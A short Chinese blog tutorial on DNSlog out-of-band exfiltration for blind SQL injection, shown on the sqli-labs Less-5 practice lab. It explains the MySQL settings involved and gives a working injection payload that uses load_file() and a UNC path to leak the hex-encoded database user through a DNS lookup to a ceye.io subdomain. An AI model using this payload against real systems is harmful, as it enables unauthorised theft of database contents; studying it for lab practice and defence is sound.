0x01:概念

如上图所示,攻击者提交注入语句,让数据库将需要查询的值和域名拼接起来,然后发生DNS查询,我们只要能获得DNS的日志,就可以得到想要的值。所以我们需要 一个可用的域名,然后在域名商处配置一条NS记录, 然后我们在NS服务器上面获取DNS日志即可。这里直接使用 ceye.io 平台。

0x02:适用范围

SQL注入中的盲注
无回显的命令执行
无回显的SSRF

0x03:利用方法

MySQL

MySQL是用dnslog最多的,也是最常见的一种数据库,且MySQL只能在windows宿主机中才能利用dnslog注入。且MySQL中的secure_file_priv 项需要为空,这样load_file()才能读取磁盘文件。为NULL不能读取磁盘文件,指定盘符只能读取指定盘符的文件,而默认secure_auth、secure_file_priv是关闭的。

所以为了接下来的实验,必须开启secure_file_priv

首先查看状态 show variables like '%secure%';

更改my.ini配置,(my.ini使用 select @@basedir; 查找)

增加两条配置:

secure_file_priv=
secure_auth=on

在MySQL中,load_file函数可以用来读取本地的文件。

http://ceye.io/ 配置只需要注册即可获得一个二级域名。

以sqli的less5为例:获取user()

payload:?id=1' and if((select load_file(concat('\\',(select hex(user())),'.xxxxxx.ceye.io\abc'))),1,0)--+ //这里使用hex()包裹user()函数,是因为有特殊字符传输,可能信息丢失,所以使用hex()函数处理。

然后到ceye.io日志查看

这部分值便是dns注入外带出的值。

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注